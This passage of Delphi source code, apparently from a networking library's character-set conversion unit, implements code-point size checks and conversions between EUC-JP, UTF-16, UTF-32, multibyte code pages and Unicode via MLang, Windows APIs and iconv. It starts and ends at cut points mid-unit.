Buf : PAnsiChar;
begin
//51932, // (euc-jp EUC Japanese MBCS Max Size: 3 mlang.dll only
Buf := ABuf;
Result := ICS_ERR_EINVAL;
if Buf[0] < #$80 then //* ASCII */
Result := 1
else if (Buf[0] = #$8E) then //* JIS X 0201 */
begin
if (BufSize < 2) then
Exit; //ICS_ERR_EINVAL
if Buf[1] in [#$A1..#$DF] then
Result := 2
else
Result := ICS_ERR_EILSEQ - 1;
end
else if Buf[0] = #$8F then //* JIS X 0212 */
begin
if (BufSize < 3) then
Exit; //ICS_ERR_EINVAL
if (Buf[1] in [#$A1..#$FE]) and (Buf[2] in [#$A1..#$FE]) then
Result := 3
else
Result := ICS_ERR_EILSEQ - 1;
end
else //* JIS X 0208 */
begin
if (BufSize < 2) then
Exit; //ICS_ERR_EINVAL
if (Buf[0] in [#$A1..#$FE]) and (Buf[1] in [#$A1..#$FE]) then
Result := 2
else
Result := ICS_ERR_EILSEQ - 1;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckUtf32CpSize(Csc: TIcsCsc; Buf: Pointer; BufSize: Integer): Integer;
var
Ch : LongWord;
begin
if BufSize < 4 then
Result := ICS_ERR_EINVAL
else begin
if Csc.CodePage = CP_UTF32Be then
Ch := IcsSwap32(PLongWord(Buf)^)
else
Ch := PLongWord(Buf)^;
if (($D800 <= Ch) and (Ch <= $DFFF)) or (Ch > $10FFFF) then
Result := ICS_ERR_EILSEQ - 4
else
Result := 4;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckUtf16CpSize(Csc: TIcsCsc; Buf: Pointer; BufSize: Integer): Integer;
var
Ch : Word;
begin
if BufSize < 2 then
Result := ICS_ERR_EINVAL
else begin
if Csc.CodePage = CP_UTF16Be then
Ch := IcsSwap16(PWord(Buf)^)
else
Ch := PWord(Buf)^;
if (Ch >= $D800) and (Ch <= $DFFF) then
begin
if (Ch >= $DC00) then
Result := ICS_ERR_EILSEQ - 2
else if BufSize < 4 then
Result := ICS_ERR_EINVAL
else begin
if Csc.CodePage = CP_UTF16Be then
Ch := IcsSwap16(PWord(PAnsiChar(Buf) + 2)^)
else
Ch := PWord(PAnsiChar(Buf) + 2)^;
if not ((Ch >= $DC00) and (Ch <= $DFFF)) then
Result := ICS_ERR_EILSEQ - 4
else
Result := 4;
end;
end
else
Result := 2;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckMbcCpSize(Csc: TIcsCsc;
Buf: Pointer; BufSize: Integer): Integer;
var
Cnt : Integer;
Tmp : array [0..3] of WideChar;
begin
Cnt := 0;
while TRUE do
begin
Inc(Cnt);
if Cnt > BufSize then
begin
Result := ICS_ERR_EINVAL;
Exit;
end;
Result := Csc.FToWcFunc(Csc, 0, Buf, Cnt, @Tmp, SizeOf(Tmp));
if Result > 0 then
begin
{ According to MS the default Unicode char is inserted if the }
{ source is not the default char and translation failed. }
if Tmp[0] = Csc.DefaultUnicodeChar then
begin
// Windows.OutputDebugStringW(PWideChar(IntToHex(Ord(tmp[0]), 4)));
if ((Cnt = 1) and (Ord(PAnsiChar(Buf)^) <> Ord(Tmp[0]))) then
Result := ICS_ERR_EILSEQ - 1
else if ((Cnt > 1) and (Tmp[0] = #$30FB)) and
(not ((PAnsiChar(Buf)[Cnt - 2] = #$81) and
(PAnsiChar(Buf)[Cnt - 1] = #$45))) then
Result := ICS_ERR_EILSEQ - Cnt
else
Result := Cnt;
end
else
Result := Cnt;
Exit;
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{$IFDEF USE_ICONV}
function CheckMbcCpSizeIconv(Csc: TIcsCsc;
InBuf: Pointer; InSize: Integer): Integer;
var
InCnt, OutCnt: Integer;
Cnt : Integer;
Tmp : array [0..5] of WideChar;
SrcPtr, DstPtr : Pointer;
begin
if InSize < 0 then
InSize := StrLen(PAnsiChar(InBuf)) + 1;
DstPtr := @Tmp;
Cnt := 0;
while TRUE do
begin
Inc(Cnt);
if Cnt > InSize then
begin
Result := ICS_ERR_EINVAL;
Exit;
end;
InCnt := Cnt;
OutCnt := SizeOf(Tmp);
SrcPtr := InBuf;
Result := iconv(Csc.FToWcIconvCtx, @SrcPtr, @InCnt, @DstPtr, @OutCnt);
if Result = -1 then
begin
case Errno of
E2BIG: { There is not sufficient room at *outbuf }
begin
Result := ICS_ERR_EINVAL;
Exit;
end;
EILSEQ: { An invalid byte sequence has been encountered in the input }
begin
Result := ICS_ERR_EILSEQ - Cnt;
Exit;
end;
EINVAL:
begin
//Result := ICS_ERR_EINVAL;
end;
end;
end
else
if OutCnt < SizeOf(Tmp) then
begin
Result := Cnt - InCnt;
Exit;
end;
if (Cnt = Insize) and (InCnt = 0) then // shift sequence at the end of buffer
begin
Result := Cnt;
Exit;
end;
end;
end;
{$ENDIF}
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{$IFDEF MSWINDOWS}
{$IFDEF USE_MLANG}
function CheckMbcCpSizeMLang(Csc: TIcsCsc;
InBuf: Pointer; InSize: Integer): Integer;
var
InCnt, OutCnt: Integer;
Cnt : Integer;
Tmp : array [0..5] of WideChar;
begin
if InSize < 0 then
InSize := StrLen(PAnsiChar(InBuf)) + 1;
Cnt := 0;
while TRUE do
begin
Inc(Cnt);
if Cnt > InSize then
begin
Result := ICS_ERR_EINVAL;
Exit;
end;
InCnt := Cnt;
OutCnt := SizeOf(Tmp) * SizeOf(WideChar);
case ConvertINetMultibyteToUnicode(Csc.FToWcShiftState, Csc.CodePage,
InBuf, InCnt,
@Tmp, OutCnt) of
S_OK :
begin
if OutCnt > 0 then
begin
if Tmp[0] = Csc.DefaultUnicodeChar then
begin
// Windows.OutputDebugStringW(PWideChar(IntToHex(Ord(tmp[0]), 4)));
if ((Cnt = 1) and (Ord(PAnsiChar(InBuf)^) <> Ord(Tmp[0]))) then
Result := ICS_ERR_EILSEQ - 1
else if ((Cnt > 1) and (Tmp[0] = #$30FB)) and
(not ((PAnsiChar(InBuf)[Cnt - 2] = #$81) and
(PAnsiChar(InBuf)[Cnt - 1] = #$45))) then
Result := ICS_ERR_EILSEQ - InCnt
else
Result := InCnt;
end
else
Result := InCnt;
Exit;
end
else if (InCnt = InSize) then // shift sequence at the end of buffer
begin
Result := InCnt;
Exit;
end;
end;
{S_FALSE E_FAIL}
else
Result := ICS_ERR_EINVAL;
Exit;
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function MLangMbToWc(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
var
InCnt, OutCnt: Integer;
begin
if OutSize <= 0 then
begin // Count only
OutCnt := 0;
OutBuf := nil;
end
else
OutCnt := OutSize div SizeOf(WideChar);
if InSize < 0 then
InSize := StrLen(PAnsiChar(InBuf)) + 1;
InCnt := InSize;
case ConvertINetMultibyteToUnicode(Csc.FToWcShiftState, Csc.CodePage,
InBuf, InCnt,
OutBuf, OutCnt) of
S_OK :
begin
Result := OutCnt * SizeOf(WideChar);
if (Result > 0) and (InSize <> InCnt) then
begin
if Flags and MB_ERR_INVALID_CHARS = MB_ERR_INVALID_CHARS then
begin
{ Actually it's impossible to detect invalid sequences }
{ since default unicode chars are inserted. }
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
end
else
SetLastError(0);
end
else
SetLastError(0);
end;
{S_FALSE E_FAIL}
else
Result := 0;
SetLastError(ERROR_INVALID_PARAMETER);
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function MLangWcToMb(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
var
InCnt, OutCnt: Integer;
begin
{ The shift state doesn't seem to be used from wc to mb }
if OutSize <= 0 then
begin // Count only
OutSize := 0;
OutBuf := nil;
end;
if InSize < 0 then
InSize := StrByteCountUtf16(PWord(InBuf)); { Counts the NULL-terminator }
InSize := InSize div SizeOf(WideChar);
InCnt := InSize;
OutCnt:= OutSize;
case ConvertINetUnicodeToMultiByte(Csc.FFromWcShiftState, Csc.CodePage,
InBuf, InCnt,
OutBuf, OutCnt) of
S_OK :
begin
Result := OutCnt;
if (Result > 0) and (InSize <> InCnt) then
begin
if Flags and WC_ERR_INVALID_CHARS = WC_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
end
else
SetLastError(0);
end
else
SetLastError(0);
end;
else
Result := 0;
SetLastError(ERROR_INVALID_PARAMETER);
end;
end;
{$ENDIF}
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function WinMbToWc(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
begin
Result := MultiByteToWideChar(Csc.CodePage, Flags, InBuf, InSize,
OutBuf, OutSize div SizeOf(WideChar)) * SizeOf(WideChar);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function WinWcToMb(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
begin
Result := WideCharToMultiByte(Csc.CodePage, Flags,
InBuf, InSize div SizeOf(WideChar),
OutBuf, OutSize, nil, nil);
end;
{$ENDIF MSWINDOWS}
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{$IFDEF USE_ICONV}
function IconvMbToWc(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
var
CntOnly : Boolean;
SBuf: array [0..255] of Byte;
DstBytesLeft, SrcBytesLeft, CntSize: Integer;
SrcPtr, DstPtr : Pointer;
begin
SrcPtr := InBuf;
SrcBytesLeft := InSize;
if SrcBytesLeft < 0 then
SrcBytesLeft := StrLen(PAnsiChar(SrcPtr)) + 1;
CntSize := 0;
if OutSize <= 0 then
begin
CntOnly := TRUE;
DstBytesLeft := SizeOf(SBuf);
DstPtr := @SBuf;
end
else begin
CntOnly := FALSE;
DstBytesLeft := OutSize;
DstPtr := OutBuf;
end;
SetLastError(0);
while True do
begin
Result := iconv(Csc.FToWcIconvCtx, @SrcPtr, @SrcBytesLeft, @DstPtr, @DstBytesLeft);
if Result <> -1 then
Break
else begin
case Errno of
E2BIG: { There is not sufficient room at *outbuf }
if CntOnly then
begin
{ Save stack buffer size and rewind }
Inc(CntSize, SizeOf(SBuf));
DstPtr := @SBuf;
DstBytesLeft := SizeOf(SBuf);
end
else begin
// Return a length of 0
SetLastError(ERROR_INSUFFICIENT_BUFFER);
DstBytesLeft := OutSize;
Break;
end;
EILSEQ: { An invalid byte sequence has been encountered in the input }
if Flags and MB_ERR_INVALID_CHARS = MB_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
Exit;
end
else begin
if icfBreakOnInvalidSequence in Csc.FIconvCompatFlags then
Break;
if icfUseDefaultUnicodeChar in Csc.FIconvCompatFlags then
begin
PWideChar(DstPtr)^ := Csc.DefaultUnicodeChar;
Inc(INT_PTR(DstPtr), SizeOf(WideChar));
Dec(DstBytesLeft, SizeOf(WideChar));
end;
Result := Csc.GetNextCodePointSize(SrcPtr, SrcBytesLeft);
if Result < 1 then
Result := 1;
Inc(INT_PTR(SrcPtr), Result);
Dec(SrcBytesLeft, Result);
end;
EINVAL : { An incomplete multibyte sequence has been encountered in the input }
if Flags and MB_ERR_INVALID_CHARS = MB_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
Exit;
end
else
Break;
else
Result := 0;
SetLastError(ERROR_INVALID_PARAMETER);
Exit;
end;
end;
end;
if CntOnly then
Result := CntSize + SizeOf(SBuf) - DstBytesLeft
else
Result := OutSize - DstBytesLeft;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function IconvWcToMb(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
var
CntOnly : Boolean;
SBuf: array [0..255] of Byte;
DstBytesLeft, SrcBytesLeft, CntSize : Integer;
SrcPtr, DstPtr : Pointer;
begin
SrcPtr := InBuf;
SrcBytesLeft := InSize;
if SrcBytesLeft < 0 then
SrcBytesLeft := StrByteCountUtf16(PWord(SrcPtr));
CntSize := 0;
if OutSize <= 0 then
begin
CntOnly := TRUE;
DstBytesLeft := SizeOf(SBuf);
DstPtr := @SBuf;
end
else begin
CntOnly := FALSE;
DstBytesLeft := OutSize;
DstPtr := OutBuf;
end;
SetLastError(0);
while True do
begin
Result := iconv(Csc.FFromWcIconvCtx, @SrcPtr, @SrcBytesLeft, @DstPtr, @DstBytesLeft);
if Result <> -1 then
begin
{ Write the shift sequence and reset shift state }
if (SrcPtr <> nil) and ((Csc.CharSetType = ictMbcs) or (Csc.CodePage = CP_UTF7)) then
SrcPtr := nil
else
Break;
end
else begin
case Errno of
E2BIG: { There is not sufficient room at *outbuf }
if CntOnly then
begin
{ Save stack buffer size and rewind }
Inc(CntSize, SizeOf(SBuf));
DstPtr := @SBuf;
DstBytesLeft := SizeOf(SBuf);
end
else begin
SetLastError(ERROR_INSUFFICIENT_BUFFER);
DstBytesLeft := OutSize;
Break;
end;
EILSEQ: { An invalid byte sequence has been encountered in the input }
begin
if (Flags and WC_ERR_INVALID_CHARS) = WC_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
Exit;
end;
Inc(INT_PTR(SrcPtr), SizeOf(WideChar));
Dec(SrcBytesLeft, SizeOf(WideChar));
if not CntOnly then
PAnsiChar(DstPtr)^ := Csc.DefaultAnsiChar;
Inc(INT_PTR(DstPtr), 1);
Dec(DstBytesLeft, 1);
end;
EINVAL : { An incomplete sequence has been encountered in the input }
begin
{ Write the shift sequence and reset shift state }
if (SrcPtr <> nil) and
((Csc.CharSetType = ictMbcs) or (Csc.CodePage = CP_UTF7)) then
SrcPtr := nil
else begin
if (Flags and WC_ERR_INVALID_CHARS) = WC_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
Exit;
end
else
Break;
end;
end
else
Result := 0;
SetLastError(ERROR_INVALID_PARAMETER);
Exit;
end;
end;
end;
if CntOnly then
Result := CntSize + SizeOf(SBuf) - DstBytesLeft
else
Result := OutSize - DstBytesLeft;
end;
{$ENDIF}
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function UnicodeToUnicode(Csc: TIcsCsc;
var InBuf : Pointer; var InBytesLeft: Integer;
var OutBuf : Pointer; var OutBytesCnt: Integer): Integer;
var
Ch1, Ch2 : Word;
I : Integer;
CountOnly : Boolean;
LoopCount : Integer;
LOutCount : Integer;
LInCount : Integer;
begin
if InBytesLeft < 0 then
InBytesLeft := StrByteCountUtf16(InBuf); {Counts the NULL-terminator}
if InBytesLeft = 0 then
begin
OutBytesCnt := 0;
Result := 0;
Exit;
end;
Result := ICS_ERR_EINVAL;
CountOnly := (OutBytesCnt <= 0) or (OutBuf = nil);
LOutCount := 0;
LInCount := 0;
LoopCount := InBytesLeft div SizeOf(WideChar);
I := 1;
while I <= LoopCount do
begin
if (not CountOnly) and (LOutCount + 2 > OutBytesCnt) then
begin
Result := ICS_ERR_E2BIG;
Break;
end;
if Csc.CodePage = CP_UTF16Be then
Ch1 := IcsSwap16(PWord(InBuf)^)
else
Ch1 := PWord(InBuf)^;
if (Ch1 >= $D800) and (Ch1 <= $DFFF) then
begin
if (Ch1 >= $DC00) then
begin
Result := ICS_ERR_EILSEQ - 2;
Break;
end
else if (Ch1 <= $DBFF) then
begin
Inc(I);
if I > LoopCount then
Break;
if (not CountOnly) and (LOutCount + 4 > OutBytesCnt) then
begin
Result := ICS_ERR_E2BIG;
Break;
end;
Inc(PWord(InBuf));
if Csc.CodePage = CP_UTF16Be then
Ch2 := IcsSwap16(PWord(InBuf)^)
else
Ch2 := PWord(InBuf)^;
if not ((Ch2 >= $DC00) and (Ch2 <= $DFFF)) then
begin
Result := ICS_ERR_EILSEQ - 4;
Dec(PWord(InBuf));
Break;
end;
if not CountOnly then
begin
PWord(OutBuf)^ := Ch1;
Inc(PWord(OutBuf));
PWord(OutBuf)^ := Ch2;
Inc(PWord(OutBuf));
end;
Inc(LOutCount, 4);
Inc(LInCount, 4);
end;
end
else begin
if not CountOnly then
begin
PWord(OutBuf)^ := Ch1;
Inc(PWord(OutBuf));
end;
Inc(LOutCount, 2);
Inc(LInCount, 2);
end;
Inc(I);
Inc(PWord(InBuf));
end;
OutBytesCnt := LOutCount;
if LInCount = InBytesLeft then
Result := 0;
InBytesLeft := InBytesLeft - LInCount;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function WcToWc(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
var
Res, LInBytesLeft, LOutCnt: Integer;
begin
if InSize < 0 then
InSize := StrByteCountUtf16(PWORD(InBuf)); { Counts the NULL-terminator }
LInBytesLeft := InSize;
LOutCnt := OutSize;
Result := 0;
while TRUE do
begin
Res := UnicodeToUnicode(Csc, InBuf, LInBytesLeft, OutBuf, LOutCnt);
if Res <= ICS_ERR_EILSEQ then
begin
if (Flags and WC_ERR_INVALID_CHARS) = WC_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
Exit;
end;
Inc(Result, LOutCnt + 2);
if OutSize > 0 then
begin
if Csc.CodePage = CP_UTF16Be then
PWord(OutBuf)^ := IcsSwap16(Word(Csc.DefaultUnicodeChar))
else
PWord(OutBuf)^ := Word(Csc.DefaultUnicodeChar);
Inc(PWord(OutBuf));
LOutCnt := OutSize - Result;
end
else
LOutCnt := 0;
Inc(PWord(InBuf));
Dec(LInBytesLeft, 2);
end
else begin
if Res < 0 then
begin
Result := 0;
if Res = ICS_ERR_EINVAL then
SetLastError(ERROR_NO_UNICODE_TRANSLATION)
else
SetLastError(ERROR_INSUFFICIENT_BUFFER);
end
else begin
Inc(Result, LOutCnt);
SetLastError(0);
end;
Break;
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function Ucs4ToUnicode(Swapped: Boolean;
var InBuf: Pointer; var InBytesLeft: Integer;
var OutBuf: Pointer; var OutByteCount: Integer): Integer;
var
Ch : LongWord;
I : Integer;
CountOnly : Boolean;
LOutCnt : Integer;
begin
if InBytesLeft < 0 then
InBytesLeft := StrByteCountUcs4(InBuf); {includes the NULL-terminator}
if InBytesLeft = 0 then
begin
OutByteCount := 0;
Result := 0;
Exit;
end;
Result := ICS_ERR_EINVAL;
CountOnly := (OutByteCount <= 0) or (OutBuf = nil);
LOutCnt := 0;
for I := 1 to (InBytesLeft div 4) do
begin
if Swapped then
Ch := IcsSwap32(PLongWord(InBuf)^)
else
Ch := PLongWord(InBuf)^;
if ((Ch >= $D800) and (Ch <= $DFFF)) or (Ch > $10FFFF) then
begin
Result := ICS_ERR_EILSEQ - 4;
Break;
end
else begin
if Ch > $10000 then
begin
{ Encode surrogate pair }
if not CountOnly then
begin
PWord(OutBuf)^ := Word((((Ch - $00010000) shr 10) and
$000003FF) or $D800);
Inc(PWord(OutBuf));
PWord(OutBuf)^ := Word(((Ch - $00010000) and $000003FF) or
$DC00);
Inc(PWord(OutBuf));
end;
Inc(LOutCnt, 4);
end
else begin // BMP
if not CountOnly then
begin
PWord(OutBuf)^ := Word(Ch);
Inc(PWord(OutBuf));
end;
Inc(LOutCnt, 2);
end;
if (not CountOnly) and (LOutCnt > OutByteCount) then
begin
OutByteCount := LOutCnt;
Result := ICS_ERR_E2BIG;
Exit;
end
else
Dec(InBytesLeft, 4);
end;
Inc(PLongWord(InBuf));
end;
OutByteCount := LOutCnt;
if InBytesLeft = 0 then
Result := 0;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function Ucs4ToWc(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
var
Res, LInBytesLeft, LOutCnt: Integer;
begin
if InSize < 0 then
InSize := StrByteCountUcs4(PLongWord(InBuf)); { Counts the NULL-terminator }
LInBytesLeft := InSize;
LOutCnt := OutSize;
Result := 0;
while TRUE do
begin
Res := Ucs4ToUnicode(Csc.CodePage = CP_UTF32BE, InBuf, LInBytesLeft,
OutBuf, LOutCnt);
if Res <= ICS_ERR_EILSEQ then
begin
if (Flags and MB_ERR_INVALID_CHARS) = MB_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
Exit;
end;
Inc(Result, LOutCnt + 2);
if OutSize > 0 then
begin
PWord(OutBuf)^ := Word(Csc.DefaultUnicodeChar);
Inc(PWord(OutBuf));
LOutCnt := OutSize - (Result * SizeOf(WideChar));
end
else
LOutCnt := 0;
Inc(PLongWord(InBuf));
Dec(LInBytesLeft, 4);
end
else begin
if Res < 0 then
begin
Result := 0;
if Res = ICS_ERR_EINVAL then
SetLastError(ERROR_NO_UNICODE_TRANSLATION)
else
SetLastError(ERROR_INSUFFICIENT_BUFFER);
end
else begin
Inc(Result, LOutCnt);
SetLastError(0);
end;
Break;
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function UnicodeToUcs4(Swapped: Boolean;
var InBuf : Pointer; var InBytesLeft: Integer;
var OutBuf : Pointer; var OutBytesCnt: Integer): Integer;
var
Ch1, Ch2 : Word;
I : Integer;
CountOnly : Boolean;
LoopCount : Integer;
LOutCount : Integer;
LInCount : Integer;
begin
if InBytesLeft < 0 then
InBytesLeft := StrByteCountUtf16(InBuf); { Counts the NULL-terminator }
if InBytesLeft = 0 then
begin
OutBytesCnt := 0;
Result := 0;
Exit;
end;
Result := ICS_ERR_EINVAL;
CountOnly := (OutBytesCnt <= 0) or (OutBuf = nil);
LOutCount := 0;
LInCount := 0;
LoopCount := InBytesLeft div SizeOf(WideChar);
I := 1;
while I <= LoopCount do
begin
if (not CountOnly) and (LOutCount + 4 > OutBytesCnt) then
begin
Result := ICS_ERR_E2BIG;
Break;
end;
Ch1 := PWord(InBuf)^;
if (Ch1 >= $D800) and (Ch1 <= $DFFF) then
begin
if (Ch1 >= $DC00) then
begin
Result := ICS_ERR_EILSEQ -2;
Break;
end
else if (Ch1 <= $DBFF) then
begin
Inc(I);
if I > LoopCount then
Break;
if (not CountOnly) and (LOutCount + 4 > OutBytesCnt) then
begin
Result := ICS_ERR_E2BIG;
Break;
end;
Inc(PWord(InBuf));
Ch2 := PWord(InBuf)^;
if not ((Ch2 >= $DC00) and (Ch2 <= $DFFF)) then
begin
Result := ICS_ERR_EILSEQ - 4;
Dec(PWord(InBuf));
Break;
end;
if not CountOnly then
begin
PLongWord(OutBuf)^ := ((Ch1 and $3FF) shl 10) +
(Ch2 and $3FF) + $10000;
if Swapped then
PLongWord(OutBuf)^ := IcsSwap32(PLongWord(OutBuf)^);
Inc(PLongWord(OutBuf));
end;
Inc(LInCount, 4);
end;
end
else begin
if not CountOnly then
begin
PLongWord(OutBuf)^ := Ch1;
if Swapped then
PLongWord(OutBuf)^ := IcsSwap32(PLongWord(OutBuf)^);
Inc(PLongWord(OutBuf));
end;
Inc(LInCount, 2);
end;
Inc(I);
Inc(PWord(InBuf));
Inc(LOutCount, 4);
end;
OutBytesCnt := LOutCount;
if LInCount = InBytesLeft then
Result := 0;
InBytesLeft := InBytesLeft - LInCount;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function WcToUcs4(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer;
InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer;
var
Res, LInBytesLeft, LOutCnt: Integer;
begin
if InSize < 0 then
InSize := StrByteCountUcs4(PLongWord(InBuf)); { Counts the NULL-terminator }
LInBytesLeft := InSize;
LOutCnt := OutSize;
Result := 0;
while TRUE do
begin
Res := UnicodeToUcs4(Csc.CodePage = CP_UTF32Be, InBuf, LInBytesLeft,
OutBuf, LOutCnt);
if Res <= ICS_ERR_EILSEQ then
begin
if (Flags and WC_ERR_INVALID_CHARS) = WC_ERR_INVALID_CHARS then
begin
Result := 0;
SetLastError(ERROR_NO_UNICODE_TRANSLATION);
Exit;
end;
Inc(Result, LOutCnt + 4);
if OutSize > 0 then
begin
PLongWord(OutBuf)^ := Word(Csc.DefaultUnicodeChar);
if Csc.CodePage = CP_UTF32Be then
PLongWord(OutBuf)^ := IcsSwap32(PLongWord(OutBuf)^);
Inc(PLongWord(OutBuf));
LOutCnt := OutSize - (Result * SizeOf(LongWord));
end
else
LOutCnt := 0;
Inc(PWord(InBuf));
Dec(LInBytesLeft, 2);
end
else begin
if Res < 0 then
begin
Result := 0;
SetLastError(ERROR_INSUFFICIENT_BUFFER);
end
else begin
Inc(Result, LOutCnt);
SetLastError(0);
end;
Break;
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function TIcsCsc.GetBufferEncoding(const Buf: Pointer; BufSize: Integer;
Detect: Boolean): Integer;
function HasBOM(BOM: TBytes): Boolean;
var
I : Integer;
begin
Result := True;
if BufSize >= Length(BOM) then
begin
for I := 0 to Length(BOM) -1 do
if PByte(PAnsiChar(Buf) + I)^ <> BOM[I] then
begin
Result := False;
Break;
end;
end
else
Result := False;
end;
var
BOM: TBytes;
begin
Result := 0;
if Detect then
begin
// Detect and set code page
if HasBOM(IcsGetBomBytes(CP_UTF32)) then
SetCodePage(CP_UTF32)
else if HasBOM(IcsGetBomBytes(CP_UTF32Be)) then
SetCodePage(CP_UTF32Be)
else if HasBOM(IcsGetBomBytes(CP_UTF16)) then
SetCodePage(CP_UTF16)
else if HasBOM(IcsGetBomBytes(CP_UTF16Be)) then
SetCodePage(CP_UTF16Be)
else if HasBOM(IcsGetBomBytes(CP_UTF8)) then
SetCodePage(CP_UTF8)
else
SetCodePage(CP_ACP);
Result := Length(GetBomBytes);
end
else begin
BOM := GetBomBytes;
if HasBOM(BOM) then
Result := Length(BOM);
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function IcsCscGetWideCharCount(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer;
out BytesLeft: Integer): Integer;
var
TranslatableBytes : Integer;
CP : PByte;
LSize : Integer;
begin
CP := Buf;
TranslatableBytes := 0;
LSize := BufSize;
BytesLeft := 0;
while LSize > 0 do
begin
Dec(LSize, BytesLeft);
BytesLeft := Csc.GetNextCodePointSize(CP, LSize);
if BytesLeft > 0 then
Inc(TranslatableBytes, BytesLeft)
else
Break;
Inc(CP, BytesLeft);
end;
BytesLeft := BufSize - TranslatableBytes;
Result := Csc.ToWc(0, @Buf, TranslatableBytes,
nil, 0) div SizeOf(WideChar);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function IcsCscGetWideChars(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer; Chars: PWideChar;
WCharCount: Integer): Integer;
begin
Result := Csc.ToWc(0, Buf, BufSize, Chars,
WCharCount * SizeOf(WideChar)) div SizeOf(WideChar);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function IcsCscBufferToUnicodeString(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer;
out BytesLeft: Integer): UnicodeString;
var
WCharCnt : Integer;
begin
BytesLeft := 0;
if (Buf = nil) or (BufSize <= 0) then
Result := ''
else begin
WCharCnt := IcsCscGetWideCharCount(Csc, Buf, BufSize, BytesLeft);
SetLength(Result, WCharCnt);
if WCharCnt > 0 then
begin
WCharCnt := IcsCscGetWideChars(Csc, Buf, BufSize - BytesLeft,
Pointer(Result), WCharCnt);
SetLength(Result, WCharCnt);
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function IcsCscToWcString(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer): UnicodeString;
var
Len: Integer;
begin
Len := Csc.ToWc(0, Buf, BufSize, nil, 0);
SetLength(Result, Len div 2);
Len := Csc.ToWc(0, Buf, BufSize, Pointer(Result), Len);
SetLength(Result, Len div 2);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
{ TIcsCsc }
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
constructor TIcsCsc.Create(CodePage: LongWord);
begin
inherited Create;
SetCodePage(CodePage);
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
destructor TIcsCsc.Destroy;
begin
{$IFDEF USE_ICONV}
if FFromWcIconvCtx <> nil then
iconv_close(FFromWcIconvCtx);
if FToWcIconvCtx <> nil then
iconv_close(FToWcIconvCtx);
{$ENDIF}
inherited;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TIcsCsc.SetCodePage(const Value: LongWord);
begin
if (Value = CP_ACP) then
IcsGetAcp(FCodePage)
else
FCodePage := Value;
Init;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
procedure TIcsCsc.Init;
